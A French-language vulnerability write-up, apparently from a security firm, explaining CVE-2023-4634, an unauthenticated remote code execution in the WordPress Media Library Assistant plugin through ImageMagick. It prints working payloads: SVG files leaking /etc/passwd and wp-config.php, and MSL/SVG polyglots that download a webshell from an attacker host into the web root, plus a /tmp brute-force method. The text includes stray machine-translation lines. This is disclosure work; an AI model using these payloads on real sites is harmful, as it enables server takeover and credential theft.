5 septembre 2023 CVE Florent

CVE-2023-4634 - RCE non authentifié sur le plugin Wordpress Media Library Assistant utilisant un bon vieux Imagick

Comme nous l'avons évoqué dans plusieurs de nos articles, vous savez déjà que WordPress et les plugins associés occupent une grande place dans la surface d'attaque globale que nous surveillons pour nos clients.

La découverte de méthodes et de techniques toujours nouvelles pour exploiter les failles potentielles de ces technologies nous permet d'être proactifs et d'essayer de conserver un avantage sur les attaquants potentiels.

La vulnérabilité décrite ci-dessous est un parfait exemple de cette proactivité : nous avons rapidement alerté tous nos clients qui utilisaient les plugins vulnérables, avant même que la correction de la vulnérabilité ne soit disponible (dans la plupart des cas, nos clients ont soit désactivé le plugin, soit mis en œuvre une correction personnalisée fournie par nos soins).

Quand on se perd dans le Web

La première alerte qui a déclenché notre automatisation était une inclusion de fichier local (LFI) confirmée dans un plugin WordPress appelé « Media Library Assistant » : https://www.cvedetails.com/cve/CVE-2020-11732/, le plugin a plus de 70k installations actives, ce n'est pas un best-seller mais reste intéressant du point de vue d'un attaquant (pour construire un botnet, déployer un ransomware...) : https://fr.wordpress.org/plugins/media-library-assistant/

Le plugin était en effet vulnérable au niveau de la version, mais notre automatisation n'a pas pu aller plus loin (elle a maintenant été améliorée 😁).

En réalité, les vulnérabilités de type Local File Inclusion dans WordPress sont généralement intéressantes pour accéder à des fichiers critiques comme wp-config.php. Cependant, dans le cas de cette vulnérabilité spécifique, elle ne fonctionne qu'avec un chemin absolu (comme indiqué dans l'exploit de packetstorm).

Il y a une vulnérabilité d'inclusion de fichier dans le fichier mla-file-downloader.php. Exemple :

http://server/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\Bitnami\wordpress-5.3.2-2\apps\wordpress\htdocs\wp-content\plugins\updraftplus\options.php

L'automatisation de Patrowl n'a pas réussi à identifier une vulnérabilité de divulgation de chemin d'accès complet ailleurs sur le site web, et tous les chemins d'accès bruts classiques n'ont pas fonctionné.

C'est le moment que choisit notre automatisation pour demander une investigation plus approfondie à un pentester.

Le processus est classique, et si vous avez déjà lu l'un de nos articles, vous êtes probablement familier avec la procédure : mettre en place un environnement de laboratoire avec la dernière version du plugin installée. À l'origine, l'objectif était d'identifier dans le plugin une méthode susceptible de déclencher une divulgation complète du chemin d'accès et d'aider la machine à aller plus loin dans l'exploitation. Mais nous avons trouvé une vulnérabilité beaucoup plus intéressante et stimulante, qui nous a rappelé de vieux souvenirs.

Les laissés-pour-compte

La découverte initiale (CVE-2020-11732) ciblait le fichier mla-file-downloader.php situé dans le dossier includes du répertoire du plugin. Il s'agit d'un petit fichier autonome qui a été corrigé depuis longtemps :

<?php
/**
 * Stand-alone file download handler for the [mla_gallery]
 *
 * @package Media Library Assistant
 * @since 2.32
 */

/*
 * Process [mla_gallery link=download] requests
 */
//@ini_set('error_log','C:\Program Files (x86)\Apache Software Foundation\Apache24\logs\php-errors.log');

require_once( pathinfo( __FILE__, PATHINFO_DIRNAME ) . '/class-mla-file-downloader.php' );

MLAFileDownloader::mla_process_download_file( array( 'error' => 'MLA File Downloader no longer supported because it allowed Local File Disclosure attacks.' ) );

// NO LONGER ALLOWED AS OF v2.82
if ( isset( $_REQUEST['mla_download_file'] ) && isset( $_REQUEST['mla_download_type'] ) ) {
    MLAFileDownloader::$mla_debug = isset( $_REQUEST['mla_debug'] ) && 'log' == $_REQUEST['mla_debug'];
    MLAFileDownloader::mla_process_download_file();
}

MLAFileDownloader::mla_die( 'MLA File Download parameters not set', __LINE__, 500 );
?>

L'accès direct à mla-file-downloader.php n'est désormais plus autorisé. Le premier require_once pointe en effet désormais vers un fichier (class-mla-file-downloader.php) incluant la condition magique de WordPress :

defined( 'ABSPATH' ) or die();

La condition interdit l'accès direct aux fichiers PHP de WordPress. Ainsi, quoi que nous fassions, le die() sera systématiquement appelé lorsque nous atteindrons directement le mla-file-downloader. Nous avons dû chercher ailleurs.

La référence aux fichiers autonomes dans le commentaire est assez intéressante. Normalement, les fichiers autonomes sont créés pour être atteints directement, et avec un peu de chance, sans authentification.

grep -ri "Stand-Alone" --include \*.php
./includes/mla-file-downloader.php: * Stand-alone file download handler for the [mla_gallery]
./includes/mla-stream-image.php: * Stand-alone stream image handler for the mla_viewer
./includes/class-mla-shortcode-support.php:                      * found by the stand-alone (no WordPress) image stream processor.
./examples/plugins/smart-media-categories/admin/includes/class-smc-automatic-support.php:               // Check for stand-alone terms update, i.e., not part of an insert/update post event

La deuxième semble juteuse : mla-stream-image.php, regardons-la.

Infecté

Le fichier a la même structure que le premier et est très facile à comprendre :

<?php
/**
 * Stand-alone stream image handler for the mla_viewer
 *
 * @package Media Library Assistant
 * @since 2.10
 */

/*
 * Process mla_viewer image stream requests
 */
//@ini_set('error_log','C:\Program Files\Apache Software Foundation\Apache24\logs\php-errors.log');

require_once( pathinfo( __FILE__, PATHINFO_DIRNAME ) . '/class-mla-image-processor.php' );

if ( isset( $_REQUEST['mla_stream_file'] ) ) {
    MLAImageProcessor::$mla_debug = isset( $_REQUEST['mla_debug'] ) && 'log' == $_REQUEST['mla_debug'];
    MLAImageProcessor::mla_process_stream_image();
}

MLAImageProcessor::_mla_die( 'mla_stream_file not set', __LINE__, 500 );
?>

Mais cette fois, le fichier class-mla-image-processor.php n'est pas protégé contre l'accès direct :

Ce qui indique que nous avons pu atteindre la fonction MLAImageProcessor::mlaprocessstreamimage() avec un paramètre contrôlé non authentifié : $REQUEST['mlastreamfile']

La fonction mlaprocessstream_image porte bien son nom ; elle est utilisée pour générer des vignettes pour les PDF locaux. La fonction vérifie d'abord si le fichier existe localement :

$
file = isset( $_REQUEST['mla_stream_file'] ) ? $_REQUEST['mla_stream_file'] : ''; // phpcs:ignore
if ( ! is_file( $file ) ) {
self::_mla_die( 'File not found', __LINE__, 404 );
}

Si le fichier existe, il est transmis à la fonction ghostscriptconvert.

Les autres paramètres utilisés pour la conversion sont également sous le contrôle de l'utilisateur. Mais ils sont tous fortement typés en int ou même en rewrite, ce qui ne nous donne pas une grande flexibilité dans notre chemin d'exploitation :

$use_mutex = isset( $_REQUEST['mla_single_thread'] );
$width = isset( $_REQUEST['mla_stream_width'] ) ? abs( (int) $_REQUEST['mla_stream_width'] ) : 0;
$height = isset( $_REQUEST['mla_stream_height'] ) ? abs( (int) $_REQUEST['mla_stream_height'] ) : 0;
$type = isset( $_REQUEST['mla_stream_type'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['mla_stream_type'] ) ) : 'image/webp';
$quality = isset( $_REQUEST['mla_stream_quality'] ) ? abs( (int) $_REQUEST['mla_stream_quality'] ) : 0;
$frame = isset( $_REQUEST['mla_stream_frame'] ) ? abs( (int) $_REQUEST['mla_stream_frame'] ) : 0;
$resolution = isset( $_REQUEST['mla_stream_resolution'] ) ? abs( (int) $_REQUEST['mla_stream_resolution'] ) : 72;

$ghostscript_path = isset( $_REQUEST['mla_ghostscript_path'] ) ? $_REQUEST['mla_ghostscript_path'] : ''; // phpcs:ignore
if ( ! empty( $ghostscript_path ) ) {
        $ghostscript_path = @file_get_contents( dirname( __FILE__ ) . '/' . 'mla-ghostscript-path.txt' );


$result = self::_ghostscript_convert( $file, $frame, $resolution, $type, $ghostscript_path );

La fonction ghostscriptconvert est un peu compliquée et nous n'avons pas trouvé de piste d'exploitation à partir de là. Elle recherche essentiellement l'exécutable ghostscript et exécute la ligne de commande « gs » appropriée, mais avec une protection adéquate :

$cmd = escapeshellarg( $ghostscript_path ) . ' -sDEVICE=%1$s -r%2$dx%2$d -dFirstPage=%3$d -dLastPage=%3$d -dFitPage -o %4$s %5$s 2>&1';

S'il réussit, nous obtenons alors un fichier webp (type défini par défaut et non modifiable) de notre chemin contrôlé.

Si le ghostscript_convert échoue, un plan de secours est utilisé avec la bibliothèque Imagick() :

$result = self::_ghostscript_convert( $file, $frame, $resolution, $type, $ghostscript_path );

if ( false === $result ) {
try {
self::$image->readImage( $file . '[' . $frame . ']' );
}
catch ( Exception $e ) {
self::$image->readImage( $file . '[0]' );
 }

Ainsi, à partir de cela, nous avons réussi à générer des extraits webp de fichiers PDF ou d'images situés quelque part dans WordPress, ex : et...

D'accord, c'est intéressant mais clairement inexploitable. Il pourrait nous permettre d'accéder à des PDF spécifiques stockés en dehors du répertoire Web de WordPress, mais cela nécessiterait de connaître les chemins exacts de ces PDF (qu'ils soient absolus ou relatifs), pour que cela fonctionne, il faudrait le combiner avec un autre exploit.

Tout autre format (PHP) lèvera une erreur car le format n'est pas compris par ghostccript et Imagick. La conversion ne fonctionnera donc pas, voici un extrait des logs lorsque nous essayons de convertir un fichier PHP en webp.

wordpress-local-wordpress-1  | [Fri Aug 25 14:49:36.458816 2023] [php:notice] [pid 32] [client 172.19.0.1:58574] 297 _mla_die( 'Image load exception: no decode delegate for this image format `PHP' @ error/constitute.c/ReadImage/575', '537', '404' )

Comme nous détestons les faux CVE inexploitables, et comme nous aimons à le dire en français chez Patrowl, faisons des efforts.

Rechercher l'Imagick

Clairement, depuis le début, notre objectif secret est d'atteindre la fonction Imagick() avec un fichier contrôlé. Nous savons tous depuis longtemps qu'une bibliothèque Imagick mal configurée est une mine d'or pour les attaquants, et vous pouvez trouver de nombreux articles ou articles très intéressants exploitant la bibliothèque (voir Références). Mais pour cela, il faut que la fonction is_file() utilisée au début de la fonction renvoie True. Le premier scénario serait d'avoir une fonctionnalité de téléchargement de fichiers sur WordPress (peut-être un autre plugin), de trouver le chemin téléchargé et d'utiliser le fichier local contrôlé pour jouer avec la bibliothèque Imagick.

Mais comme il n'y a pas de fonctionnalité de téléchargement de fichiers sur notre WordPress, nous avons dû trouver un autre moyen.

Notre première idée a été d'utiliser https:// ou http:// remote protocol sur la fonction is_file() mais sans succès. En regardant dans la documentation, nous avons une bonne « astuce » donnée par PHP : https://www.php.net/manual/en/function.is-file.php

is_file fonctionne alors avec tous les wrappers supportant la famille de fonctionnalités stat(). http:// et https://, en effet, ne supportent pas la fonctionnalité stat().

Mais bonjour l'enfant :

Vérification locale rapide, en plaçant un fichier arbitraire existant sur un serveur FTP ouvert :

root@141e013356ca:/var/www/html# php -r "echo(is_file('ftp://X.X.X.X.:2122/test_is_file.txt'));"
1

Dans notre serveur distant :

[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] USER 'anonymous' logged in.
[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] CWD /root/test_ftp/test_is_file.txt 550 'Not a directory.'
[I 2023-08-25 15:19:23] X.X.X.X:52806-[anonymous] FTP session closed (disconnect).

Génial ! Nous pouvons maintenant utiliser un fichier distant dans la fonction ghostcript ou Imagick(). La seconde est bien sûr beaucoup plus intéressante. En testant avec une image hébergée en FTP contrôlée à distance sur le plugin, nous obtenons :

http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mlastreamfile=ftp://X.X.X.X:2122/testisfile.txt&mla_debug=log

[I 2023-08-25 15:24:42] X.X.X.X.48:52847-[anonymous] FTP session closed (disconnect).
[I 2023-08-25 15:24:42] X.X.X.X:52849-[] FTP session opened (connect)
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] USER 'anonymous' logged in.
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] RETR /root/test_ftp/test_is_file.txt[0] completed=1 bytes=0 seconds=0.0
[I 2023-08-25 15:24:42] X.X.X.X:52849-[anonymous] FTP session closed (disconnect).

Bingo, nous avons la connexion de notre Wordpress à notre FTP. Le fichier demandé est testisfile.txt[0]. C'est bon signe car le [0] indique typiquement la frame à convertir par Imagick.

Un rapide coup d'oeil sur les logs nous permet de constater que la fonction ghoscript échoue systématiquement lorsqu'elle est utilisée avec un nom de fichier ftp:// en entrée.

Nous avons donc ce que nous cherchions : une image externe contrôlée convertie par la bibliothèque Imagick(). Il ne nous reste plus qu'à installer 2 fichiers sur notre serveur ftp :

  • maliciousfile.webp qui peut être vide, juste pour contourner la vérification de isfile(),

  • malicious_file.webp[0] qui sera converti par Imagick.

Amusons-nous un peu.

Endurer et survivre

Maintenant, jouons un peu avec la bibliothèque Imagick. Tout d'abord, pour clarifier notre propos, Imagick est la bibliothèque PHP du logiciel ImageMagick. Le chemin d'exploitation du logiciel et de la bibliothèque PHP est globalement le même, car la bibliothèque PHP utilise les fonctions C exportées du logiciel.

Nos exploits précédents et tous les documents techniques d'exploitation existants aboutissent tous à une conclusion commune : ImageMagick est un excellent outil pour le rendu d'images, mais il doit être configuré avec des politiques de sécurité rigoureuses. Les développeurs d'Imagick ont dû corriger de nombreux CVE dans des milliers de plugins, et ils sont désormais très clairs quant à leur position sur les vulnérabilités :

« Avant de publier une vulnérabilité, déterminez d'abord si la vulnérabilité peut être atténuée par la politique de sécurité. ImageMagick est ouvert par défaut. Utilisez la politique de sécurité pour ajouter des contraintes afin de répondre aux exigences de votre gouvernance locale en matière de sécurité. »

Voilà qui nous intrigue. Pourquoi ? Eh bien, considérez ceci : sur les 70 000 plugins installés, combien de développeurs ou d'opérateurs de systèmes sont conscients que l'un de leurs plugins utilise Imagick (la bibliothèque PHP pour ImageMagick) avec une politique de sécurité ouverte par défaut ?

Une installation de base des plugins (avec les bibliothèques Imagick installées sur le serveur) est livrée avec cette politique de sécurité par défaut :

<policymap>
  <policy domain="resource" name="memory" value="256MiB"/>
  <policy domain="resource" name="map" value="512MiB"/>
  <policy domain="resource" name="width" value="16KP"/>
  <policy domain="resource" name="height" value="16KP"/>
  <policy domain="resource" name="area" value="128MP"/>
  <policy domain="resource" name="disk" value="1GiB"/>
  <policy domain="delegate" rights="none" pattern="URL" />
  <policy domain="delegate" rights="none" pattern="HTTPS" />
  <policy domain="delegate" rights="none" pattern="HTTP" />
  <policy domain="path" rights="none" pattern="@*"/>
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

On peut voir que certains formats « dangereux » sont désactivés par défaut comme PS ou XPS. On pourrait penser que les HTTPs et les HTTP patterns ne sont pas non plus autorisés par défaut, mais la politique semble être juste là pour forcer l'utilisation interne de Curl et l'utilisation d'une ressource externe http sur la conversion Imagick() fonctionne comme un charme avec cette configuration.

Maintenant nous savons que sur chaque instance avec les plugins fonctionnant effectivement avec une configuration Imagick par défaut, nous serons en mesure d'utiliser des SVG externes. Pourquoi SVG ? explorons un peu plus le fonctionnement d'ImageMagick.

Veuillez tenir compte de mon SVG

Tous les exploits d'ImageMagick fonctionnent fondamentalement de la même manière. L'idée est de forcer Imagick à utiliser son propre format de script interne appelé MSL. Le format MSL permet de déplacer ou de créer des fichiers à l'intérieur du serveur de fichiers.

Nous pouvons par exemple déplacer un fichier PHP webshell distant dans le répertoire WordPress, où virus.webp n'est qu'un fichier webp polyglotte contenant du PHP.

<image>
  <read filename="http://x.x.x.x/8081/virus.webp" />
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
</image>

Mais déclencher l'analyse Imagick MSL n'est plus aussi simple. Lors de l'utilisation de la bibliothèque PHP Imagick sur des images, un premier appel est fait à la fonction identity. Identify lit l'image, recherche un octet magique ou une chaîne spécifique dans le fichier. Le résultat de la fonction sera ensuite utilisé comme analyseur Imagick.

Mais comme Imagetragick, l'analyseur ne reconnaît pas explicitement les fichiers de script dangereux tels que MSL, lorsque vous essayez d'analyser un fichier MSL, Imagick le considérera comme du SVG ou dira que le format n'est pas reconnu.

root@141e013356ca:/var/www/html# php -r '$test = new Imagick("/var/www/html/test.msl");'
Fatal error: Uncaught ImagickException: no decode delegate for this image format `' @ error/constitute.c/ReadImage/575 in Command line code:1

La seule façon de faire comprendre le MSL à Imagick est de spécifier le format de fichier avant le fichier en utilisant ce que nous appellerons un formateur :

root@141e013356ca:/var/www/html# php -r '$test = new Imagick("msl:/var/www/html/test.msl");'
Aborded

Dans notre exploit, le chemin contrôlé échouera la vérification is_file() si nous forçons le formateur msl : dans notre nom de fichier, nous devons trouver un autre moyen. SVG nous est venu rapidement à l'esprit. Le SVG est conçu pour utiliser des fichiers et des références externes. Lorsque l'analyseur SVG par défaut d'Imagick est utilisé, le fichier est converti au format MVG (Magick Vector Graphics Metafiles). Les balises images avec des balises internes spécifiques telles que xlink:href ou path sont transformées en instruction MVG :

image Over %g,%g %g,%g \"%s\"\n »
if (LocaleCompare((const char *) name,"image") == 0)
        {
          (void) FormatLocaleFile(svg_info->file,
            "image Over %g,%g %g,%g \"%s\"\n",svg_info->bounds.x,
            svg_info->bounds.y,svg_info->bounds.width,svg_info->bounds.height,
            svg_info->url);
          (void) FormatLocaleFile(svg_info->file,"pop graphic-context\n");
          break;
        }

Ensuite, le parsing MVG (https://github.com/ImageMagick/ImageMagick/blob/main/coders/mvg.c- /) appellera finalement la fonction DrawImage() : https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/draw.c#L4512

qui va intégrer l'image MVG dans notre nouvelle image en utilisant la fonction de composition d'ImageMagick :

if (LocaleCompare("image",keyword) == 0)
          {
            ssize_t
              compose;

            primitive_type=ImagePrimitive;
            (void) GetNextToken(q,&q,extent,token);
            compose=ParseCommandOption(MagickComposeOptions,MagickFalse,token);
            if (compose == -1)
              {
                status=MagickFalse;
                break;
              }
            graphic_context[n]->compose=(CompositeOperator) compose;

Compose est une commande spécifique d'ImageMagick, elle permet de combiner plusieurs images, le paramètre « Over » utilisé dans l'analyseur SVG n'est qu'une des douzaines d'options disponibles pour la fonction composite d'ImageMagick https://imagemagick.org/Usage/compose/#over.

L'utilisation de la fonction composite est alors cruciale pour comprendre l'exploitation. Comme elle est utilisée pour superposer ou combiner plusieurs images, la fonction doit comprendre des commandes spécifiques d'ImageMagick.

Par exemple, si vous souhaitez superposer un texte spécifique sur une image, vous pouvez simplement utiliser composite avec text:/path/to/text.txt et Imagemagick superposera automatiquement le texte sur votre première image.

$composite patrowl.webp text:./patrowl.txt patrowl_over.webp

Ajoutera le texte de patrowl.txt sur l'image patrowl.webp.

Maintenant, avec un simple SVG, nous pouvons contrôler les formateurs ImageMagick définis, tels que MSL, mais aussi tous les autres formateurs activés par défaut.

Quand nous sommes dans le besoin

Les premières analyses nous conduisent rapidement à un LFI fluide. Le plugin renvoie directement la sortie de la fonction de conversion d'Imagick sous la forme d'une réponse http :

// Stream the image back to the requestor
        try {
            header( "Content-Type: $type" );
            echo self::$image->getImageBlob();

Ensuite, en utilisant un SVG avec un formateur de texte, nous pouvons créer une image vierge sur laquelle nous afficherons le contenu du fichier que nous voulons sur le serveur de fichiers, il suffit d'ajuster la largeur et la hauteur pour avoir quelque chose de lisible :

Lfi.sfg0 sur le serveur FTP distant :

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/etc/passwd" width="500" height="500" />
</svg>

Exploitation:

http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:2122/lfi.svg&mla_debug=log&mla_stream_height=500&mla_stream_width=600

Maintenant, nous avons un joli LFI, à partir duquel nous pouvons atteindre et imprimer tous les fichiers PHP WordPress que nous voulons, puisque le plugin sera toujours installé dans le même répertoire, le chemin relatif sera toujours le même.

Nous avons juste besoin d'ajuster la page que nous voulons en mettant le mlastreamframe à 1 (et n'oubliez pas d'avoir le lfi.svg[1] correspondant sur le FTP distant).

Lfi.svg1 :

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Génial, maintenant nous pouvons potentiellement prendre le contrôle de WordPress (en fonction de la configuration). Mais nous sommes si proches d'une RCE que nous ne pouvons pas nous arrêter là.

Longtemps, longtemps

Pour réaliser notre RCE, nous avons maintenant besoin d'un fichier MSL sur le serveur de fichiers. En effet, le formateur msl : n'accepte pas les fichiers distants (msl://http://x.x.x.x ne fonctionnera jamais).

La technique utilisée par Synacktiv dans son article consiste à utiliser la conversion PDF avec PostScript intégré pour écrire le fichier MSL dans le dossier /tmp. Malheureusement, cela ne fonctionnera pas ici puisque ce format est désactivé par défaut sur notre instance.

Après avoir passé des heures à jouer avec différents formats et à essayer d'en trouver un qui puisse créer un fichier MSL dans un répertoire contrôlé, nous avons découvert au cours de tous nos tests que des centaines de fichiers ont été créés dans notre instance Docker dans le dossier /tmp avec la nomenclature : /tmp/magick-*

"Many of them were the MVG converted files from our SVG payloads, but also, the first SVG payload download from our FTP server.

The fact that some files are not deleted by the Imagick process within the /tmp folder is still a mystery. We have a few clues regarding a self-calling SVG file that could cause a segmentation fault and prevent the file from being deleted: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-j96m-mjp6-99xr

However, this is not exploitable in our configuration, as the file came from an external source and cannot be self-calling. Upon closer inspection, we discovered that for each SVG converted, three files are created in the /tmp folder, all using the magick-XXX nomenclature (where XXX is a 32-character random string):

  • One 0-byte file

  • One file is the SVG we are converting

  • One file is the MVG transition format from Imagick

Note that the location of the /tmp folder used by Imagick can be configured within the policy.xml file. But now that you have LFI, you can quickly spot if it has been changed.

Then, once the conversion is finished, the 0-byte file is not deleted (which will be problematic later, as you will see), but the other two are.

Our exploitation idea is then to use two files:

  • One that will trigger the copy of the file within the /tmp folder during the conversion with MSL scripts in it.

  • The other, an SVG file, that includes an xlink reference with an msl:forced formatter pointing to the first file created in the /tmp folder.

The idea is good (of course), but requires multiple bypasses:

  • To trigger the creation of the temporary file in the /tmp folder, the initial file needs to be a valid format (MSL or Text is not a valid or recognized format).

  • The file is instantly deleted after each conversion.

  • The file created uses a random name and cannot be brute-forced or guessed.

The first problem was quickly solved by using a polyglot SVG/MSL with the techniques from https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html.

Then, we were able to trigger the creation of a file in the /tmp/ folder that is valid as an SVG but also understood as MSL using the correct formatter. Example of a polyglot valid file (we will address the SVG part later)."

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://X.X.X.X:8081/virus.webp" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <image xlink:href= text:/etc/passwd height="100" width="100"/>
</svg>
</image>

L'ordre des balises est important, la déclaration XML doit être au début pour permettre à la fonction identity de renvoyer du SVG. Les balises image se trouvent juste après et la partie SVG doit se trouver à l'intérieur des balises image, sinon cela ne fonctionnera pas.

Ainsi, notre fichier est compris à la fois par l'analyseur msl et l'analyseur svg :

root@141e013356ca:/var/www/html# ls exploit.php
ls: cannot access 'exploit.php': No such file or directory
root@141e013356ca:/var/www/html# convert poly.svg test.webp
root@141e013356ca:/var/www/html# ls exploit.php
ls: cannot access 'exploit.php': No such file or directory
root@141e013356ca:/var/www/html# convert msl:poly.svg test.webp
Aborted
root@141e013356ca:/var/www/html# ls exploit.php -lah
-rw-r--r-- 1 root root 14K Aug 28 16:17 exploit.php

Le second problème du fichier à supprimer après la conversion peut être résolu de plusieurs manières :

  • Générer un très gros fichier SVG qui prendra beaucoup de temps à être généré, mais avec un risque élevé de planter le processus et potentiellement le serveur, donc nous n'avons pas choisi cette voie.

  • Héberger une très grosse image externe (>20Go) appelée par le SVG. En fonction de la latence du réseau, le téléchargement peut prendre beaucoup de temps (vous pouvez héberger les ressources dans un pays étranger et lointain pour augmenter la latence), mais le même problème : le traitement d'une ressource volumineuse peut également provoquer un comportement indésirable et des plantages potentiels.

  • Le dernier (et le meilleur), utiliser une IP non routée. Par défaut, Imagick et PHP ont un timeout élevé (1min), vous laissant suffisamment de temps pour atteindre le fichier avant sa suppression. Cela peut dépendre de la configuration de PHP, vous pouvez donc utiliser la méthode précédente au cas où le plus sûr ne fonctionnerait pas.

  • Exemple de conversion SVG longue :

Traduit avec DeepL.com (version gratuite)

<?xml version="1.0" encoding="UTF-8"?>
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
root@141e013356ca:/var/www/html# time php -r '$test = new Imagick("long.svg");'
real    1m0.257s
user    0m0.058s
sys 0m0.114s

Then our final Polyglot file SVG file will look like this:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://x.x.x.x:8081/virus.webp" />
  <resize geometry="400x400" />
  <write filename="/var/www/html/exploit.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>

Maintenant, nous avons notre fichier SVG/MSL polyglotte déposé dans le dossier /tmp pendant une minute. Dernier problème (mais pas des moindres évidemment) comment l'inclure en utilisant notre second SVG ? En 1 minute, nous ne pouvons pas forcer le nom de la chaîne de 32 caractères.

C'est ici que nous découvrons la puissance du format VID avec cet excellent article sur l'exploitation d'un autre logiciel utilisant Imagick : https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/.

Le VID est à la hauteur de nos espérances, comme l'explique l'article, le formateur VID utilise la fonction ExandFilenames() sur les paramètres d'entrée, ce qui permet d'utiliser des caractères génériques dans un dossier (https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/utility.c#L748) !

En jouant un peu avec le format, nous avons rapidement compris à quel point il était puissant :

Il est activé par défaut

  • Vous pouvez maintenant inclure des fichiers spécifiques sans en connaître le nom exact, le format est assez flexible

  • Et surtout, dans ImageMagick, tous les formateurs peuvent être enchaînés !

  • Vous pouvez maintenant utiliser le formateur vid avec plusieurs combinaisons.

Un double texte : formateur pour avoir la liste complète des répertoires à l'intérieur d'un répertoire : Fichier SVG :

Traduit avec DeepL.com (version gratuite)

<svg width="1000" height="700"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:text:/var/www/html/*.php"  width="500" />
</svg>

Joli !

Vous voyez maintenant où nous voulons en venir, le VID pourrait également être enchaîné avec notre cher MSL : text:vid:msl:/tmp/magick-*

L'ordre est important, le formateur de texte doit toujours être utilisé en premier dans les balises SVG xlink ; ensuite le VID permettant l'appel à ExpandFileName puis le MSL.

Nous sommes maintenant en mesure de lancer l'analyse MSL sur tous les fichiers /tmp/magick-* ! le seul problème ?

Si l'un des fichiers soulève une erreur, le processus s'arrêtera, et nous aurons une erreur 500.

Et comme vous vous en souvenez probablement, nous avons nos vieux fichiers 0bytes qui ne sont jamais supprimés dans le dossier /tmp. ExpandFileName trie les noms de fichiers par ordre alphabétique, donc si nous avons un fichier de 0 octet qui a été généré avec par exemple un 0 ou un A, nous sommes condamnés, le premier fichier soulèvera toujours l'erreur et les autres fichiers ne seront pas pris en compte.

Nous devons alors être plus précis.

Nous savons en lisant le code source que chaque nom de fichier aléatoire dans /tmp/magick utilise 32 caractères aléatoires sélectionnés dans la liste suivante :

static const char
    portable_filename[65] =
      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-";

https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/resource.c

Ensuite, nous ne pouvons que forcer les 65 caractères comme premiers caractères, en utilisant 65 fichiers SVG différents, chacun d'entre eux contenant une première lettre à forcer : exploiterA.svg contenant text:vid:msl:/tmp/magick-A*, exploiterB.svg contenant text:vid:msl:/tmp/magick-B* ...

Avec cela, nous allons, avec un haut niveau de confiance, trouver le fichier uploadé SVG/MSL tant recherché sans atteindre un fichier temporaire vide ou un autre fichier MVG.

Pour augmenter nos chances, lançons la génération de centaines de « long SVG » afin d'être sûr que l'une des méthodes de bruteforce fonctionnera (une seule est nécessaire) sans aucun fichier de 0 octet avant cela.

Même si la cible possède déjà de nombreux fichiers /tmp/magick non supprimés, nous trouverons à coup sûr, à un moment donné, un fichier qui fonctionnera en utilisant cette technique.

Bombarder cette ville et tous ses habitants

Maintenant que nous avons tout en main, nous pouvons mettre en place l'exploit et le bruteforcer.

Tout est expliqué et scénarisé ici : https://github.com/Patrowl/CVE-2023-4634/ Le chemin final de l'exploit est alors :

  • Lancer x100 long SVG/MSL polyglot file conversion qui déclenchera la création de x100 SVG/MSL file dans le dossier /tmp

  • Utiliser SVG avec le formateur VID en utilisant des caractères génériques pour forcer brutalement le nom des 100 centaines de fichiers SVG/MSL dans le dossier /tmp avec seulement 65 requêtes.

  • Baboum

Nous créons également un modèle Nuclei pour détecter l'exploitabilité (pas seulement la version du plugin) : https://github.com/Patrowl/CVE-2023-4634/blob/master/CVE-2023-4634.yaml

Les SVG sont source de problèmes

Cette exploitation a été pour nous assez intéressante à réaliser, car elle met en évidence la dangerosité des librairies externes qui peuvent être utilisées dans les plugins WordPress. Il n'est pas certain que l'administrateur de WordPress ait une vision claire de la configuration de chaque bibliothèque externe utilisée, en particulier pour Imagick qui est installé directement avec une instance « basique » de Wordpress.

Comme expliqué dans l'article, la position de l'équipe ImageMagick est claire, et ils sont assez réactifs sur les questions de sécurité. Nous les avons avertis des dangers du parsing SVG et de l'autorisation par défaut des fichiers SVG, mais leur réponse a été celle que nous attendions :

